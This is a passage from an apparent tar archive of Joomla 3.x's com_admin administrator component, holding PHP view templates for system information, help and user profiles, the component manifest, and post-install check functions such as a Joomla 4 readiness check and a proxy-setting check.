					<?php echo JText::_('COM_ADMIN_ZIP_ENABLED'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.set', $this->php_settings['zip']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_DISABLED_FUNCTIONS'); ?>
				</td>
				<td class="break-word">
					<?php echo JHtml::_('phpsetting.string', $this->php_settings['disable_functions']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_MBSTRING_ENABLED'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.set', $this->php_settings['mbstring']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_ICONV_AVAILABLE'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.set', $this->php_settings['iconv']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<?php echo JText::_('COM_ADMIN_MAX_INPUT_VARS'); ?>
				</td>
				<td>
					<?php echo JHtml::_('phpsetting.integer', $this->php_settings['max_input_vars']); ?>
				</td>
			</tr>
		</tbody>
	</table>
</fieldset>
com_admin/views/sysinfo/tmpl/default_phpinfo.php000060400000000631152455305270016161 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="adminform">
	<legend><?php echo JText::_('COM_ADMIN_PHP_INFORMATION'); ?></legend>
	<?php echo $this->php_info; ?>
</fieldset>
com_admin/views/sysinfo/tmpl/default_directory.php000060400000001747152455305270016533 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="adminform">
	<legend><?php echo JText::_('COM_ADMIN_DIRECTORY_PERMISSIONS'); ?></legend>
	<table class="table table-striped">
		<thead>
			<tr>
				<th width="650">
					<?php echo JText::_('COM_ADMIN_DIRECTORY'); ?>
				</th>
				<th>
					<?php echo JText::_('COM_ADMIN_STATUS'); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="2">&#160;</td>
			</tr>
		</tfoot>
		<tbody>
			<?php foreach ($this->directory as $dir => $info) : ?>
				<tr>
					<td>
						<?php echo JHtml::_('directory.message', $dir, $info['message']); ?>
					</td>
					<td>
						<?php echo JHtml::_('directory.writable', $info['writable']); ?>
					</td>
				</tr>
			<?php endforeach; ?>
		</tbody>
	</table>
</fieldset>
com_admin/views/sysinfo/tmpl/default_system.php000060400000005226152455305270016047 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="adminform">
	<legend><?php echo JText::_('COM_ADMIN_SYSTEM_INFORMATION'); ?></legend>
	<table class="table table-striped">
		<thead>
			<tr>
				<th width="25%">
					<?php echo JText::_('COM_ADMIN_SETTING'); ?>
				</th>
				<th>
					<?php echo JText::_('COM_ADMIN_VALUE'); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="2">&#160;</td>
			</tr>
		</tfoot>
		<tbody>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_PHP_BUILT_ON'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['php']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_DATABASE_TYPE'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['dbserver']; ?>
				</td>
			</tr>			
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_DATABASE_VERSION'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['dbversion']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_DATABASE_COLLATION'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['dbcollation']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_DATABASE_CONNECTION_COLLATION'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['dbconnectioncollation']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_PHP_VERSION'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['phpversion']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_WEB_SERVER'); ?></strong>
				</td>
				<td>
					<?php echo JHtml::_('system.server', $this->info['server']); ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['sapi_name']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_JOOMLA_VERSION'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['version']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_PLATFORM_VERSION'); ?></strong>
				</td>
				<td>
					<?php echo $this->info['platform']; ?>
				</td>
			</tr>
			<tr>
				<td>
					<strong><?php echo JText::_('COM_ADMIN_USER_AGENT'); ?></strong>
				</td>
				<td>
					<?php echo htmlspecialchars($this->info['useragent'], ENT_COMPAT, 'UTF-8'); ?>
				</td>
			</tr>
		</tbody>
	</table>
</fieldset>
com_admin/views/sysinfo/tmpl/default_config.php000060400000001641152455305270015765 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<fieldset class="adminform">
	<legend><?php echo JText::_('COM_ADMIN_CONFIGURATION_FILE'); ?></legend>
	<table class="table table-striped">
		<thead>
			<tr>
				<th width="300">
					<?php echo JText::_('COM_ADMIN_SETTING'); ?>
				</th>
				<th>
					<?php echo JText::_('COM_ADMIN_VALUE'); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="2">&#160;</td>
			</tr>
		</tfoot>
		<tbody>
			<?php foreach ($this->config as $key => $value) : ?>
				<tr>
					<td>
						<?php echo $key; ?>
					</td>
					<td>
						<?php echo htmlspecialchars($value, ENT_QUOTES); ?>
					</td>
				</tr>
			<?php endforeach; ?>
		</tbody>
	</table>
</fieldset>
com_admin/views/sysinfo/view.json.php000060400000003144152455305270013762 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Sysinfo View class for the Admin component
 *
 * @since  3.5
 */
class AdminViewSysinfo extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   3.5
	 */
	public function display($tpl = null)
	{
		// Access check.
		if (!JFactory::getUser()->authorise('core.admin'))
		{
			throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		header('MIME-Version: 1.0');
		header('Content-Disposition: attachment; filename="systeminfo-' . date('c') . '.json"');
		header('Content-Transfer-Encoding: binary');

		$data = $this->getLayoutData();

		echo json_encode($data);

		JFactory::getApplication()->close();
	}

	/**
	 * Get the data for the view
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		$model = $this->getModel();

		return array(
			'info'        => $model->getSafeData('info'),
			'phpSettings' => $model->getSafeData('phpSettings'),
			'config'      => $model->getSafeData('config'),
			'directories' => $model->getSafeData('directory', true),
			'phpInfo'     => $model->getSafeData('phpInfoArray'),
			'extensions'  => $model->getSafeData('extensions')
		);
	}
}
com_admin/views/help/view.html.php000060400000003556152455305270013222 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Admin component
 *
 * @since  1.6
 */
class AdminViewHelp extends JViewLegacy
{
	/**
	 * The search string
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $help_search = null;

	/**
	 * The page to be viewed
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $page = null;

	/**
	 * The iso language tag
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $lang_tag = null;

	/**
	 * Table of contents
	 *
	 * @var    array
	 * @since  1.6
	 */
	protected $toc = array();

	/**
	 * URL for the latest version check
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $latest_version_check = 'https://downloads.joomla.org/latest';

	/**
	 * URL for the start here link
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $start_here = null;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->help_search          = $this->get('HelpSearch');
		$this->page                 = $this->get('Page');
		$this->toc                  = $this->get('Toc');
		$this->lang_tag             = $this->get('LangTag');
		$this->latest_version_check = $this->get('LatestVersionCheck');

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Setup the Toolbar
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JToolbarHelper::title(JText::_('COM_ADMIN_HELP'), 'support help_header');
	}
}
com_admin/views/help/tmpl/default.xml000060400000000306152455305270013704 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_ADMIN_HELP_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_ADMIN_HELP_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_admin/views/help/tmpl/default.php000060400000003461152455305270013700 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
?>
<form action="<?php echo JRoute::_('index.php?option=com_admin&amp;view=help'); ?>" method="post" name="adminForm" id="adminForm">
	<div class="row-fluid">
		<div id="sidebar" class="span3">
			<div class="clearfix"></div>
			<div class="sidebar-nav">
				<ul class="nav nav-list">
					<li><?php echo JHtml::_('link', JHelp::createUrl('JHELP_START_HERE'), JText::_('COM_ADMIN_START_HERE'), array('target' => 'helpFrame')); ?></li>
					<li><?php echo JHtml::_('link', $this->latest_version_check, JText::_('COM_ADMIN_LATEST_VERSION_CHECK'), array('target' => 'helpFrame')); ?></li>
					<li><?php echo JHtml::_('link', 'https://www.gnu.org/licenses/gpl-2.0.html', JText::_('COM_ADMIN_LICENSE'), array('target' => 'helpFrame')); ?></li>
					<li><?php echo JHtml::_('link', JHelp::createUrl('JHELP_GLOSSARY'), JText::_('COM_ADMIN_GLOSSARY'), array('target' => 'helpFrame')); ?></li>
					<li class="divider"></li>
					<li class="nav-header"><?php echo JText::_('COM_ADMIN_ALPHABETICAL_INDEX'); ?></li>
					<?php foreach ($this->toc as $k => $v) : ?>
						<li>
							<?php $url = JHelp::createUrl('JHELP_' . strtoupper($k)); ?>
							<?php echo JHtml::_('link', $url, $v, array('target' => 'helpFrame')); ?>
						</li>
					<?php endforeach; ?>
				</ul>
			</div>
		</div>
		<div class="span9">
			<iframe name="helpFrame" title="helpFrame" height="2100px" src="<?php echo $this->page; ?>" class="helpFrame table table-bordered"></iframe>
		</div>
	</div>
	<input class="textarea" type="hidden" name="option" value="com_admin" />
</form>
com_admin/views/help/tmpl/langforum.php000060400000001123152455305270014237 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JFactory::getLanguage()->load('mod_menu', JPATH_ADMINISTRATOR, null, false, true);

$forumId   = (int) JText::_('MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE');

if (empty($forumId))
{
	$forumId = 511;
}

$forum_url = 'https://forum.joomla.org/viewforum.php?f=' . $forumId;

JFactory::getApplication()->redirect($forum_url);
com_admin/views/profile/tmpl/edit.php000060400000010270152455305270013705 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the component HTML helpers.
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "profile.cancel" || document.formvalidator.isValid(document.getElementById("profile-form")))
		{
			Joomla.submitform(task, document.getElementById("profile-form"));
		}
	};
	Joomla.twoFactorMethodChange = function(e)
	{
		var selectedPane = "com_admin_twofactor_" + jQuery("#jform_twofactor_method").val();

		jQuery.each(jQuery("#com_admin_twofactor_forms_container>div"), function(i, el)
		{
			if (el.id != selectedPane)
			{
				jQuery("#" + el.id).hide(0);
			}
			else
			{
				jQuery("#" + el.id).show(0);
			}
		});
	}
');

// Load chosen.css
JHtml::_('formbehavior.chosen', 'select');

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = array('user_details');
?>

<form action="<?php echo JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . $this->item->id); ?>" method="post" name="adminForm" id="profile-form" class="form-validate form-horizontal" enctype="multipart/form-data">
	<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'account')); ?>
	<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'account', JText::_('COM_ADMIN_USER_ACCOUNT_DETAILS')); ?>
	<?php foreach ($this->form->getFieldset('user_details') as $field) : ?>
		<?php if ($field->fieldname === 'password2') : ?>
			<?php // Disables autocomplete ?>
			<input type="password" style="display:none">
		<?php endif; ?>
		<?php echo $field->renderField(); ?>
	<?php endforeach; ?>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php if (count($this->twofactormethods) > 1 && !empty($this->twofactorform)) : ?>
		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'twofactorauth', JText::_('COM_USERS_USER_TWO_FACTOR_AUTH')); ?>
		<fieldset>
			<div class="control-group">
				<div class="control-label">
					<label id="jform_twofactor_method-lbl" for="jform_twofactor_method" class="hasTooltip"
						title="<?php echo '<strong>' . JText::_('COM_USERS_USER_FIELD_TWOFACTOR_LABEL') . '</strong><br />' . JText::_('COM_USERS_USER_FIELD_TWOFACTOR_DESC'); ?>">
						<?php echo JText::_('COM_USERS_USER_FIELD_TWOFACTOR_LABEL'); ?>
					</label>
				</div>
				<div class="controls">
					<?php echo JHtml::_('select.genericlist', $this->twofactormethods, 'jform[twofactor][method]', array('onchange' => 'Joomla.twoFactorMethodChange()'), 'value', 'text', $this->otpConfig->method, 'jform_twofactor_method', false); ?>
				</div>
			</div>
			<div id="com_admin_twofactor_forms_container">
				<?php foreach ($this->twofactorform as $form) : ?>
					<?php $style = $form['method'] == $this->otpConfig->method ? 'display: block' : 'display: none'; ?>
					<div id="com_admin_twofactor_<?php echo $form['method']; ?>" style="<?php echo $style; ?>">
						<?php echo $form['form']; ?>
					</div>
				<?php endforeach; ?>
			</div>
		</fieldset>
		<fieldset>
			<legend>
				<?php echo JText::_('COM_USERS_USER_OTEPS'); ?>
			</legend>
			<div class="alert alert-info">
				<?php echo JText::_('COM_USERS_USER_OTEPS_DESC'); ?>
			</div>
			<?php if (empty($this->otpConfig->otep)) : ?>
				<div class="alert alert-warning">
					<?php echo JText::_('COM_USERS_USER_OTEPS_WAIT_DESC'); ?>
				</div>
			<?php else : ?>
				<?php foreach ($this->otpConfig->otep as $otep) : ?>
					<span class="span3">
						<?php echo substr($otep, 0, 4); ?>-<?php echo substr($otep, 4, 4); ?>-<?php echo substr($otep, 8, 4); ?>-<?php echo substr($otep, 12, 4); ?>
					</span>
				<?php endforeach; ?>
				<div class="clearfix"></div>
			<?php endif; ?>
		</fieldset>
		<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>
	<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_admin/views/profile/view.html.php000060400000004361152455305270013725 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersHelper', JPATH_ADMINISTRATOR . '/components/com_users/helpers/users.php');

/**
 * View class to allow users edit their own profile.
 *
 * @since  1.6
 */
class AdminViewProfile extends JViewLegacy
{
	/**
	 * The JForm object
	 *
	 * @var    JForm
	 * @since  1.6
	 */
	protected $form;

	/**
	 * The item being viewed
	 *
	 * @var    object
	 * @since  1.6
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var    object
	 * @since  1.6
	 */
	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->form             = $this->get('Form');
		$this->item             = $this->get('Item');
		$this->state            = $this->get('State');
		$this->twofactorform    = $this->get('Twofactorform');
		$this->twofactormethods = UsersHelper::getTwoFactorMethods();
		$this->otpConfig        = $this->get('OtpConfig');

		// Load the language strings for the 2FA
		JFactory::getLanguage()->load('com_users', JPATH_ADMINISTRATOR);

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->form->setValue('password',	null);
		$this->form->setValue('password2',	null);

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', 1);

		JToolbarHelper::title(JText::_('COM_ADMIN_VIEW_PROFILE_TITLE'), 'user user-profile');
		JToolbarHelper::apply('profile.apply');
		JToolbarHelper::save('profile.save');
		JToolbarHelper::cancel('profile.cancel', 'JTOOLBAR_CLOSE');
		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_ADMIN_USER_PROFILE_EDIT');
	}
}
com_admin/admin.php000060400000000721152455305270010277 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

// No access check.

$controller = JControllerLegacy::getInstance('Admin');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_admin/admin.xml000060400000001645152455305270010316 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_admin</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_ADMIN_XML_DESCRIPTION</description>
	<media />
	<administration>
		<files folder="admin">
			<filename>admin.php</filename>
			<filename>controller.php</filename>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_admin.ini</language>
			<language tag="en-GB">language/en-GB.com_admin.sys.ini</language>
		</languages>
	</administration>
</extension>
com_admin/postinstall/textfilter3919.php000060400000001170152455305270014302 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for notifying users of a change
 * in the default textfilter settings
 */

defined('_JEXEC') or die;

/**
 * Notifies users the changes from the default textfilter.
 *
 * This check returns true regardless of condition.
 *
 * @return  boolean
 *
 * @since   3.9.19
 */
function admin_postinstall_textfilter3919_condition()
{
	return true;
}
com_admin/postinstall/joomla40checks.php000060400000003554152455305270014400 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for Joomla 4.0 pre checks
 */

defined('_JEXEC') or die;

/**
 * Checks if the installation meets the current requirements for Joomla 4
 *
 * @return  boolean  True if any check fails.
 *
 * @since   3.7
 *
 * @link    https://developer.joomla.org/news/658-joomla4-manifesto.html
 * @link    https://developer.joomla.org/news/704-looking-forward-with-joomla-4.html
 * @link    https://developer.joomla.org/news/788-joomla-4-on-the-move.html
 */
function admin_postinstall_joomla40checks_condition()
{
	$db            = JFactory::getDbo();
	$serverType    = $db->getServerType();
	$serverVersion = $db->getVersion();

	if ($serverType == 'mssql')
	{
		// MS SQL support will be dropped
		return true;
	}

	if ($serverType == 'postgresql' && version_compare($serverVersion, '11.0', 'lt'))
	{
		// PostgreSQL minimum version is 11.0
		return true;
	}

	// Check whether we have a MariaDB version string and extract the proper version from it
	if ($serverType == 'mysql' && stripos($serverVersion, 'mariadb') !== false)
	{
		$serverVersion = preg_replace('/^5\.5\.5-/', '', $serverVersion);

		// MariaDB minimum version is 10.1
		if (version_compare($serverVersion, '10.1', 'lt'))
		{
			return true;
		}
	}

	if ($serverType == 'mysql' && version_compare($serverVersion, '5.6', 'lt'))
	{
		// MySQL minimum version is 5.6.0
		return true;
	}

	if ($db->name === 'mysql')
	{
		// Using deprecated MySQL driver
		return true;
	}

	if ($db->name === 'postgresql')
	{
		// Using deprecated PostgreSQL driver
		return true;
	}

	// PHP minimum version is 7.2.5
	return version_compare(PHP_VERSION, '7.2.5', 'lt');
}
com_admin/postinstall/htaccesssvg.php000060400000001320152455305270014074 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for notifying users of a change
 * in the default .htaccess file regarding hardening against XSS in SVG's
 */

defined('_JEXEC') or die;

/**
 * Notifies users of a change in the default .htaccess file regarding hardening against XSS in SVG's
 *
 * This check returns true regardless of condition.
 *
 * @return  boolean
 *
 * @since   3.9.21
 */
function admin_postinstall_htaccesssvg_condition()
{
	return true;
}
com_admin/postinstall/eaccelerator.php000060400000004661152455305270014223 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for eAccelerator compatibility.
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Checks if the eAccelerator caching method is enabled.
 *
 * This check should be done through the 3.x series as the issue impacts migrated sites which will
 * most often come from the previous LTS release (2.5). Remove for version 4 or when eAccelerator support is added.
 *
 * This check returns true when the eAccelerator caching method is user, meaning that the message concerning it should be displayed.
 *
 * @return  integer
 *
 * @since   3.2
 */
function admin_postinstall_eaccelerator_condition()
{
	$app = JFactory::getApplication();
	$cacheHandler = $app->get('cacheHandler', '');

	return (ucfirst($cacheHandler) == 'Eaccelerator');
}

/**
 * Disables the unsupported eAccelerator caching method, replacing it with the "file" caching method.
 *
 * @return  void
 *
 * @since   3.2
 */
function admin_postinstall_eaccelerator_action()
{
	$prev = ArrayHelper::fromObject(new JConfig);
	$data = array_merge($prev, array('cacheHandler' => 'file'));

	$config = new Registry($data);

	jimport('joomla.filesystem.path');
	jimport('joomla.filesystem.file');

	// Set the configuration file path.
	$file = JPATH_CONFIGURATION . '/configuration.php';

	// Get the new FTP credentials.
	$ftp = JClientHelper::getCredentials('ftp', true);

	// Attempt to make the file writeable if using FTP.
	if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0644'))
	{
		JError::raiseNotice(500, JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE'));
	}

	// Attempt to write the configuration file as a PHP class named JConfig.
	$configuration = $config->toString('PHP', array('class' => 'JConfig', 'closingtag' => false));

	if (!JFile::write($file, $configuration))
	{
		JFactory::getApplication()->enqueueMessage(JText::_('COM_CONFIG_ERROR_WRITE_FAILED'), 'error');

		return;
	}

	// Attempt to make the file unwriteable if NOT using FTP.
	if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0444'))
	{
		JError::raiseNotice(500, JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE'));
	}
}
com_admin/postinstall/updatedefaultsettings.php000060400000001167152455305270016200 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for notifying users of a change
 * in various default settings.
 */

defined('_JEXEC') or die;

/**
 * Notifies users of a change in various default settings
 *
 * This check returns true regardless of condition.
 *
 * @return  boolean
 *
 * @since   3.8.8
 */
function admin_postinstall_updatedefaultsettings_condition()
{
	return true;
}
com_admin/postinstall/behindproxy.php000060400000004424152455305270014122 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\File;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Notifies users of the new Behind Load Balancer option in Global Config, if we detect they might be behind a proxy
 *
 * @return  boolean
 *
 * @since   3.9.26
 */
function admin_postinstall_behindproxy_condition()
{
	$app = JFactory::getApplication();

	if ($app->get('behind_loadbalancer', '0'))
	{
		return false;
	}

	if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER) && !empty($_SERVER['HTTP_X_FORWARDED_FOR']))
	{
		return true;
	}

	if (array_key_exists('HTTP_CLIENT_IP', $_SERVER) && !empty($_SERVER['HTTP_CLIENT_IP']))
	{
		return true;
	}

	return false;
}


/**
 * Enables the Behind Load Balancer setting in Global Configuration
 *
 * @return  void
 *
 * @since   3.9.26
 */
function behindproxy_postinstall_action()
{
	$prev = ArrayHelper::fromObject(new JConfig);
	$data = array_merge($prev, array('behind_loadbalancer' => '1'));

	$config = new Registry($data);

	jimport('joomla.filesystem.path');
	jimport('joomla.filesystem.file');

	// Set the configuration file path.
	$file = JPATH_CONFIGURATION . '/configuration.php';

	// Get the new FTP credentials.
	$ftp = JClientHelper::getCredentials('ftp', true);

	// Attempt to make the file writeable if using FTP.
	if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0644'))
	{
		JError::raiseNotice(500, JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE'));
	}

	// Attempt to write the configuration file as a PHP class named JConfig.
	$configuration = $config->toString('PHP', array('class' => 'JConfig', 'closingtag' => false));

	if (!File::write($file, $configuration))
	{
		JFactory::getApplication()->enqueueMessage(JText::_('COM_CONFIG_ERROR_WRITE_FAILED'), 'error');

		return;
	}

	// Attempt to make the file unwriteable if NOT using FTP.
	if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0444'))
	{
		JError::raiseNotice(500, JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE'));
	}
}
com_admin/postinstall/addnosniff.php000060400000001271152455305270013677 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
 * This file contains post-installation message handling for notifying users of a change
 * in the default .htaccess and web.config files.
 */

defined('_JEXEC') or die;

/**
 * Notifies users of the add the nosniff headers by applying the changes from the default .htaccess or web.config file
 *
 * This check returns true regardless of condition.
 *
 * @return  boolean
 *
 * @since   3.4
 */
function admin_postinstall_addnosniff_condition()
{
	return true;
}
com_admin/postinstall/statscollection.php000060400000001063152455305270014775 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_admin
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 *
